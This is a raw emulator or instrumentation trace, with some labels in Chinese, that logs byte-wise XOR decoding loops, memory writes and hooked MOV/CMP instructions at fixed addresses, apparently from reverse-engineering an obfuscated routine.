[WRITE] @0x2003f45 ← 0x30
[XOR @0x1000cea] MEM[0x2003f46] 0x02 ^ AL(0x03) → 0x01
寫入後 MEM = 0x02
[WRITE] @0x2003f46 ← 0x01
[XOR @0x1000cea] MEM[0x2003f47] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f47 ← 0x32
[XOR @0x1000cea] MEM[0x2003f48] 0x30 ^ AL(0x32) → 0x02
寫入後 MEM = 0x30
[WRITE] @0x2003f48 ← 0x02
[STATE] ESI ← 0x17
[HOOK MOV] @0x0100073c: mov esi, 0x11
[XOR @0x1000750] MEM[0x2003f20] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f20 ← 0x30
[HOOK CMP] @0x01000756: cmp esi, 0x23
[XOR @0x1000750] MEM[0x2003f21] 0x02 ^ AL(0x32) → 0x30
寫入後 MEM = 0x02
[WRITE] @0x2003f21 ← 0x30
[XOR @0x1000750] MEM[0x2003f22] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f22 ← 0x30
[XOR @0x1000750] MEM[0x2003f23] 0x00 ^ AL(0x02) → 0x02
寫入後 MEM = 0x00
[WRITE] @0x2003f23 ← 0x02
[XOR @0x1000750] MEM[0x2003f24] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f24 ← 0x02
[XOR @0x1000750] MEM[0x2003f25] 0x00 ^ AL(0x02) → 0x02
寫入後 MEM = 0x00
[WRITE] @0x2003f25 ← 0x02
[XOR @0x1000750] MEM[0x2003f26] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f26 ← 0x33
[XOR @0x1000750] MEM[0x2003f27] 0x30 ^ AL(0x30) → 0x00
寫入後 MEM = 0x30
[WRITE] @0x2003f27 ← 0x00
[XOR @0x1000750] MEM[0x2003f28] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f28 ← 0x33
[XOR @0x1000750] MEM[0x2003f29] 0x33 ^ AL(0x01) → 0x32
寫入後 MEM = 0x33
[WRITE] @0x2003f29 ← 0x32
[XOR @0x1000750] MEM[0x2003f2a] 0x33 ^ AL(0x33) → 0x00
寫入後 MEM = 0x33
[WRITE] @0x2003f2a ← 0x00
[XOR @0x1000750] MEM[0x2003f2b] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f2b ← 0x02
[XOR @0x1000750] MEM[0x2003f2c] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f2c ← 0x31
[XOR @0x1000750] MEM[0x2003f2d] 0x00 ^ AL(0x33) → 0x33
寫入後 MEM = 0x00
[WRITE] @0x2003f2d ← 0x33
[XOR @0x1000750] MEM[0x2003f2e] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f2e ← 0x33
[XOR @0x1000750] MEM[0x2003f2f] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f2f ← 0x33
[XOR @0x1000750] MEM[0x2003f30] 0x03 ^ AL(0x32) → 0x31
寫入後 MEM = 0x03
[WRITE] @0x2003f30 ← 0x31
[XOR @0x1000750] MEM[0x2003f31] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f31 ← 0x30
[STATE] ESI ← 0x01
[HOOK MOV] @0x01000994: mov esi, 0x4
[XOR @0x10009a8] MEM[0x2003f20] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f20 ← 0x32
[HOOK CMP] @0x010009ae: cmp esi, 0x9
[XOR @0x10009a8] MEM[0x2003f21] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f21 ← 0x32
[XOR @0x10009a8] MEM[0x2003f22] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f22 ← 0x03
[XOR @0x10009a8] MEM[0x2003f23] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f23 ← 0x02
[XOR @0x10009a8] MEM[0x2003f24] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f24 ← 0x31
[STATE] ESI ← 0x52
[HOOK MOV] @0x01001625: mov esi, 0x15
[XOR @0x1001639] MEM[0x2003f20] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f20 ← 0x33
[HOOK CMP] @0x0100163f: cmp esi, 0x2b
[XOR @0x1001639] MEM[0x2003f21] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f21 ← 0x30
[XOR @0x1001639] MEM[0x2003f22] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f22 ← 0x01
[XOR @0x1001639] MEM[0x2003f23] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f23 ← 0x32
[XOR @0x1001639] MEM[0x2003f24] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f24 ← 0x03
[XOR @0x1001639] MEM[0x2003f25] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f25 ← 0x03
[XOR @0x1001639] MEM[0x2003f26] 0x33 ^ AL(0x33) → 0x00
寫入後 MEM = 0x33
[WRITE] @0x2003f26 ← 0x00
[XOR @0x1001639] MEM[0x2003f27] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f27 ← 0x30
[XOR @0x1001639] MEM[0x2003f28] 0x33 ^ AL(0x33) → 0x00
寫入後 MEM = 0x33
[WRITE] @0x2003f28 ← 0x00
[XOR @0x1001639] MEM[0x2003f29] 0x32 ^ AL(0x33) → 0x01
寫入後 MEM = 0x32
[WRITE] @0x2003f29 ← 0x01
[XOR @0x1001639] MEM[0x2003f2a] 0x00 ^ AL(0x03) → 0x03
寫入後 MEM = 0x00
[WRITE] @0x2003f2a ← 0x03
[XOR @0x1001639] MEM[0x2003f2b] 0x02 ^ AL(0x02) → 0x00
寫入後 MEM = 0x02
[WRITE] @0x2003f2b ← 0x00
[XOR @0x1001639] MEM[0x2003f2c] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f2c ← 0x03
[XOR @0x1001639] MEM[0x2003f2d] 0x33 ^ AL(0x31) → 0x02
寫入後 MEM = 0x33
[WRITE] @0x2003f2d ← 0x02
[XOR @0x1001639] MEM[0x2003f2e] 0x33 ^ AL(0x03) → 0x30
寫入後 MEM = 0x33
[WRITE] @0x2003f2e ← 0x30
[XOR @0x1001639] MEM[0x2003f2f] 0x33 ^ AL(0x02) → 0x31
寫入後 MEM = 0x33
[WRITE] @0x2003f2f ← 0x31
[XOR @0x1001639] MEM[0x2003f30] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f30 ← 0x01
[XOR @0x1001639] MEM[0x2003f31] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f31 ← 0x31
[XOR @0x1001639] MEM[0x2003f32] 0x32 ^ AL(0x32) → 0x00
寫入後 MEM = 0x32
[WRITE] @0x2003f32 ← 0x00
[XOR @0x1001639] MEM[0x2003f33] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f33 ← 0x33
[XOR @0x1001639] MEM[0x2003f34] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f34 ← 0x31
[XOR @0x1001639] MEM[0x2003f35] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f35 ← 0x31
[STATE] ESI ← 0x3F
[HOOK MOV] @0x0100110e: mov esi, 0x16
[XOR @0x1001122] MEM[0x2003f20] 0x33 ^ AL(0x02) → 0x31
寫入後 MEM = 0x33
[WRITE] @0x2003f20 ← 0x31
[HOOK CMP] @0x01001128: cmp esi, 0x2d
[XOR @0x1001122] MEM[0x2003f21] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f21 ← 0x32
[XOR @0x1001122] MEM[0x2003f22] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f22 ← 0x31
[XOR @0x1001122] MEM[0x2003f23] 0x32 ^ AL(0x32) → 0x00
寫入後 MEM = 0x32
[WRITE] @0x2003f23 ← 0x00
[XOR @0x1001122] MEM[0x2003f24] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f24 ← 0x02
[XOR @0x1001122] MEM[0x2003f25] 0x03 ^ AL(0x33) → 0x30
寫入後 MEM = 0x03
[WRITE] @0x2003f25 ← 0x30
[XOR @0x1001122] MEM[0x2003f26] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f26 ← 0x30
[XOR @0x1001122] MEM[0x2003f27] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f27 ← 0x03
[XOR @0x1001122] MEM[0x2003f28] 0x00 ^ AL(0x33) → 0x33
寫入後 MEM = 0x00
[WRITE] @0x2003f28 ← 0x33
[XOR @0x1001122] MEM[0x2003f29] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f29 ← 0x02
[XOR @0x1001122] MEM[0x2003f2a] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f2a ← 0x01
[XOR @0x1001122] MEM[0x2003f2b] 0x00 ^ AL(0x32) → 0x32
寫入後 MEM = 0x00
[WRITE] @0x2003f2b ← 0x32
[XOR @0x1001122] MEM[0x2003f2c] 0x03 ^ AL(0x31) → 0x32
寫入後 MEM = 0x03
[WRITE] @0x2003f2c ← 0x32
[XOR @0x1001122] MEM[0x2003f2d] 0x02 ^ AL(0x03) → 0x01
寫入後 MEM = 0x02
[WRITE] @0x2003f2d ← 0x01
[XOR @0x1001122] MEM[0x2003f2e] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f2e ← 0x32
[XOR @0x1001122] MEM[0x2003f2f] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f2f ← 0x01
[XOR @0x1001122] MEM[0x2003f30] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f30 ← 0x00
[XOR @0x1001122] MEM[0x2003f31] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f31 ← 0x03
[XOR @0x1001122] MEM[0x2003f32] 0x00 ^ AL(0x02) → 0x02
寫入後 MEM = 0x00
[WRITE] @0x2003f32 ← 0x02
[XOR @0x1001122] MEM[0x2003f33] 0x33 ^ AL(0x33) → 0x00
寫入後 MEM = 0x33
[WRITE] @0x2003f33 ← 0x00
[XOR @0x1001122] MEM[0x2003f34] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f34 ← 0x01
[XOR @0x1001122] MEM[0x2003f35] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f35 ← 0x31
[XOR @0x1001122] MEM[0x2003f36] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f36 ← 0x02
[STATE] ESI ← 0x16
[HOOK MOV] @0x01000683: mov esi, 0x2b
[XOR @0x1000697] MEM[0x2003f20] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f20 ← 0x31
[HOOK CMP] @0x0100069d: cmp esi, 0x57
[XOR @0x1000697] MEM[0x2003f21] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f21 ← 0x32
[XOR @0x1000697] MEM[0x2003f22] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f22 ← 0x31
[XOR @0x1000697] MEM[0x2003f23] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f23 ← 0x00
[XOR @0x1000697] MEM[0x2003f24] 0x02 ^ AL(0x31) → 0x33
寫入後 MEM = 0x02
[WRITE] @0x2003f24 ← 0x33
[XOR @0x1000697] MEM[0x2003f25] 0x30 ^ AL(0x32) → 0x02
寫入後 MEM = 0x30
[WRITE] @0x2003f25 ← 0x02
[XOR @0x1000697] MEM[0x2003f26] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f26 ← 0x01
[XOR @0x1000697] MEM[0x2003f27] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f27 ← 0x03
[XOR @0x1000697] MEM[0x2003f28] 0x33 ^ AL(0x33) → 0x00
寫入後 MEM = 0x33
[WRITE] @0x2003f28 ← 0x00
[XOR @0x1000697] MEM[0x2003f29] 0x02 ^ AL(0x02) → 0x00
寫入後 MEM = 0x02
[WRITE] @0x2003f29 ← 0x00
[XOR @0x1000697] MEM[0x2003f2a] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f2a ← 0x00
[XOR @0x1000697] MEM[0x2003f2b] 0x32 ^ AL(0x03) → 0x31
寫入後 MEM = 0x32
[WRITE] @0x2003f2b ← 0x31
[XOR @0x1000697] MEM[0x2003f2c] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f2c ← 0x32
[XOR @0x1000697] MEM[0x2003f2d] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f2d ← 0x01
[XOR @0x1000697] MEM[0x2003f2e] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f2e ← 0x32
[XOR @0x1000697] MEM[0x2003f2f] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f2f ← 0x30
[XOR @0x1000697] MEM[0x2003f30] 0x00 ^ AL(0x32) → 0x32
寫入後 MEM = 0x00
[WRITE] @0x2003f30 ← 0x32
[XOR @0x1000697] MEM[0x2003f31] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f31 ← 0x02
[XOR @0x1000697] MEM[0x2003f32] 0x02 ^ AL(0x32) → 0x30
寫入後 MEM = 0x02
[WRITE] @0x2003f32 ← 0x30
[XOR @0x1000697] MEM[0x2003f33] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f33 ← 0x30
[XOR @0x1000697] MEM[0x2003f34] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f34 ← 0x33
[XOR @0x1000697] MEM[0x2003f35] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f35 ← 0x33
[XOR @0x1000697] MEM[0x2003f36] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f36 ← 0x32
[XOR @0x1000697] MEM[0x2003f37] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f37 ← 0x32
[XOR @0x1000697] MEM[0x2003f38] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f38 ← 0x03
[XOR @0x1000697] MEM[0x2003f39] 0x32 ^ AL(0x33) → 0x01
寫入後 MEM = 0x32
[WRITE] @0x2003f39 ← 0x01
[XOR @0x1000697] MEM[0x2003f3a] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f3a ← 0x33
[XOR @0x1000697] MEM[0x2003f3b] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f3b ← 0x01
[XOR @0x1000697] MEM[0x2003f3c] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f3c ← 0x33
[XOR @0x1000697] MEM[0x2003f3d] 0x33 ^ AL(0x01) → 0x32
寫入後 MEM = 0x33
[WRITE] @0x2003f3d ← 0x32
[XOR @0x1000697] MEM[0x2003f3e] 0x33 ^ AL(0x33) → 0x00
寫入後 MEM = 0x33
[WRITE] @0x2003f3e ← 0x00
[XOR @0x1000697] MEM[0x2003f3f] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f3f ← 0x02
[XOR @0x1000697] MEM[0x2003f40] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f40 ← 0x31
[XOR @0x1000697] MEM[0x2003f41] 0x32 ^ AL(0x32) → 0x00
寫入後 MEM = 0x32
[WRITE] @0x2003f41 ← 0x00
[XOR @0x1000697] MEM[0x2003f42] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f42 ← 0x31
[XOR @0x1000697] MEM[0x2003f43] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f43 ← 0x01
[XOR @0x1000697] MEM[0x2003f44] 0x02 ^ AL(0x31) → 0x33
寫入後 MEM = 0x02
[WRITE] @0x2003f44 ← 0x33
[XOR @0x1000697] MEM[0x2003f45] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f45 ← 0x30
[XOR @0x1000697] MEM[0x2003f46] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f46 ← 0x30
[XOR @0x1000697] MEM[0x2003f47] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f47 ← 0x33
[XOR @0x1000697] MEM[0x2003f48] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f48 ← 0x31
[XOR @0x1000697] MEM[0x2003f49] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f49 ← 0x03
[XOR @0x1000697] MEM[0x2003f4a] 0x30 ^ AL(0x30) → 0x00
寫入後 MEM = 0x30
[WRITE] @0x2003f4a ← 0x00
[XOR @0x1000697] MEM[0x2003f4b] 0x00 ^ AL(0x33) → 0x33
寫入後 MEM = 0x00
[WRITE] @0x2003f4b ← 0x33
[STATE] ESI ← 0x4C
[HOOK MOV] @0x010012e0: mov esi, 0x20
[XOR @0x10012f6] MEM[0x2003f20] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f20 ← 0x00
[HOOK CMP] @0x010012fc: cmp esi, 0x41
[XOR @0x10012f6] MEM[0x2003f21] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f21 ← 0x32
[XOR @0x10012f6] MEM[0x2003f22] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f22 ← 0x00
[XOR @0x10012f6] MEM[0x2003f23] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f23 ← 0x01
[XOR @0x10012f6] MEM[0x2003f24] 0x33 ^ AL(0x33) → 0x00
寫入後 MEM = 0x33
[WRITE] @0x2003f24 ← 0x00
[XOR @0x10012f6] MEM[0x2003f25] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f25 ← 0x32
[XOR @0x10012f6] MEM[0x2003f26] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f26 ← 0x31
[XOR @0x10012f6] MEM[0x2003f27] 0x03 ^ AL(0x33) → 0x30
寫入後 MEM = 0x03
[WRITE] @0x2003f27 ← 0x30
[XOR @0x10012f6] MEM[0x2003f28] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f28 ← 0x31
[XOR @0x10012f6] MEM[0x2003f29] 0x00 ^ AL(0x03) → 0x03
寫入後 MEM = 0x00
[WRITE] @0x2003f29 ← 0x03
[XOR @0x10012f6] MEM[0x2003f2a] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f2a ← 0x00
[XOR @0x10012f6] MEM[0x2003f2b] 0x31 ^ AL(0x33) → 0x02
寫入後 MEM = 0x31
[WRITE] @0x2003f2b ← 0x02
[XOR @0x10012f6] MEM[0x2003f2c] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f2c ← 0x32
[XOR @0x10012f6] MEM[0x2003f2d] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f2d ← 0x01
[XOR @0x10012f6] MEM[0x2003f2e] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f2e ← 0x32
[XOR @0x10012f6] MEM[0x2003f2f] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f2f ← 0x30
[XOR @0x10012f6] MEM[0x2003f30] 0x32 ^ AL(0x32) → 0x00
寫入後 MEM = 0x32
[WRITE] @0x2003f30 ← 0x00
[XOR @0x10012f6] MEM[0x2003f31] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f31 ← 0x02
[XOR @0x10012f6] MEM[0x2003f32] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f32 ← 0x31
[XOR @0x10012f6] MEM[0x2003f33] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f33 ← 0x30
[XOR @0x10012f6] MEM[0x2003f34] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f34 ← 0x01
[XOR @0x10012f6] MEM[0x2003f35] 0x33 ^ AL(0x31) → 0x02
寫入後 MEM = 0x33
[WRITE] @0x2003f35 ← 0x02
[XOR @0x10012f6] MEM[0x2003f36] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f36 ← 0x02
[XOR @0x10012f6] MEM[0x2003f37] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f37 ← 0x03
[XOR @0x10012f6] MEM[0x2003f38] 0x03 ^ AL(0x03) → 0x00
寫入後 MEM = 0x03
[WRITE] @0x2003f38 ← 0x00
[XOR @0x10012f6] MEM[0x2003f39] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f39 ← 0x01
[XOR @0x10012f6] MEM[0x2003f3a] 0x33 ^ AL(0x02) → 0x31
寫入後 MEM = 0x33
[WRITE] @0x2003f3a ← 0x31
[XOR @0x10012f6] MEM[0x2003f3b] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f3b ← 0x33
[XOR @0x10012f6] MEM[0x2003f3c] 0x33 ^ AL(0x01) → 0x32
寫入後 MEM = 0x33
[WRITE] @0x2003f3c ← 0x32
[XOR @0x10012f6] MEM[0x2003f3d] 0x32 ^ AL(0x32) → 0x00
寫入後 MEM = 0x32
[WRITE] @0x2003f3d ← 0x00
[XOR @0x10012f6] MEM[0x2003f3e] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f3e ← 0x30
[XOR @0x10012f6] MEM[0x2003f3f] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f3f ← 0x02
[XOR @0x10012f6] MEM[0x2003f40] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f40 ← 0x33
[STATE] ESI ← 0x0D
[HOOK MOV] @0x01000429: mov esi, 0x13
[HOOK MOV] @0x0100042e: mov esi, 0xae4c415d
[XOR @0x1000450] MEM[0x2003f20] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f20 ← 0x30
[HOOK CMP] @0x01000456: cmp esi, 0x27
[XOR @0x1000450] MEM[0x2003f21] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f21 ← 0x33
[XOR @0x1000450] MEM[0x2003f22] 0x00 ^ AL(0x02) → 0x02
寫入後 MEM = 0x00
[WRITE] @0x2003f22 ← 0x02
[XOR @0x1000450] MEM[0x2003f23] 0x01 ^ AL(0x02) → 0x03
寫入後 MEM = 0x01
[WRITE] @0x2003f23 ← 0x03
[XOR @0x1000450] MEM[0x2003f24] 0x00 ^ AL(0x03) → 0x03
寫入後 MEM = 0x00
[WRITE] @0x2003f24 ← 0x03
[XOR @0x1000450] MEM[0x2003f25] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f25 ← 0x32
[XOR @0x1000450] MEM[0x2003f26] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f26 ← 0x30
[XOR @0x1000450] MEM[0x2003f27] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f27 ← 0x01
[XOR @0x1000450] MEM[0x2003f28] 0x31 ^ AL(0x33) → 0x02
寫入後 MEM = 0x31
[WRITE] @0x2003f28 ← 0x02
[XOR @0x1000450] MEM[0x2003f29] 0x03 ^ AL(0x32) → 0x31
寫入後 MEM = 0x03
[WRITE] @0x2003f29 ← 0x31
[XOR @0x1000450] MEM[0x2003f2a] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f2a ← 0x00
[XOR @0x1000450] MEM[0x2003f2b] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f2b ← 0x32
[XOR @0x1000450] MEM[0x2003f2c] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f2c ← 0x30
[XOR @0x1000450] MEM[0x2003f2d] 0x01 ^ AL(0x33) → 0x32
寫入後 MEM = 0x01
[WRITE] @0x2003f2d ← 0x32
[XOR @0x1000450] MEM[0x2003f2e] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f2e ← 0x32
[XOR @0x1000450] MEM[0x2003f2f] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f2f ← 0x01
[XOR @0x1000450] MEM[0x2003f30] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f30 ← 0x01
[XOR @0x1000450] MEM[0x2003f31] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f31 ← 0x31
[XOR @0x1000450] MEM[0x2003f32] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f32 ← 0x01
[XOR @0x1000450] MEM[0x2003f33] 0x30 ^ AL(0x30) → 0x00
寫入後 MEM = 0x30
[WRITE] @0x2003f33 ← 0x00
[STATE] ESI ← 0x23
[HOOK MOV] @0x01000edd: mov esi, 0xc
[XOR @0x1000ef1] MEM[0x2003f20] 0x30 ^ AL(0x30) → 0x00
寫入後 MEM = 0x30
[WRITE] @0x2003f20 ← 0x00
[HOOK CMP] @0x01000ef7: cmp esi, 0x19
[XOR @0x1000ef1] MEM[0x2003f21] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f21 ← 0x01
[XOR @0x1000ef1] MEM[0x2003f22] 0x02 ^ AL(0x32) → 0x30
寫入後 MEM = 0x02
[WRITE] @0x2003f22 ← 0x30
[XOR @0x1000ef1] MEM[0x2003f23] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f23 ← 0x02
[XOR @0x1000ef1] MEM[0x2003f24] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f24 ← 0x02
[XOR @0x1000ef1] MEM[0x2003f25] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f25 ← 0x03
[XOR @0x1000ef1] MEM[0x2003f26] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f26 ← 0x31
[XOR @0x1000ef1] MEM[0x2003f27] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f27 ← 0x01
[XOR @0x1000ef1] MEM[0x2003f28] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f28 ← 0x03
[XOR @0x1000ef1] MEM[0x2003f29] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f29 ← 0x33
[XOR @0x1000ef1] MEM[0x2003f2a] 0x00 ^ AL(0x02) → 0x02
寫入後 MEM = 0x00
[WRITE] @0x2003f2a ← 0x02
[XOR @0x1000ef1] MEM[0x2003f2b] 0x32 ^ AL(0x03) → 0x31
寫入後 MEM = 0x32
[WRITE] @0x2003f2b ← 0x31
[XOR @0x1000ef1] MEM[0x2003f2c] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f2c ← 0x30
[STATE] ESI ← 0x34
[HOOK MOV] @0x0100070c: mov esi, 0x2d
[HOOK MOV] @0x01000711: mov esi, 0x2f
[WRITE] @0x2003f20 ← 0x00
[HOOK CMP] @0x01000727: cmp esi, 0x5b
[WRITE] @0x2003f21 ← 0x01
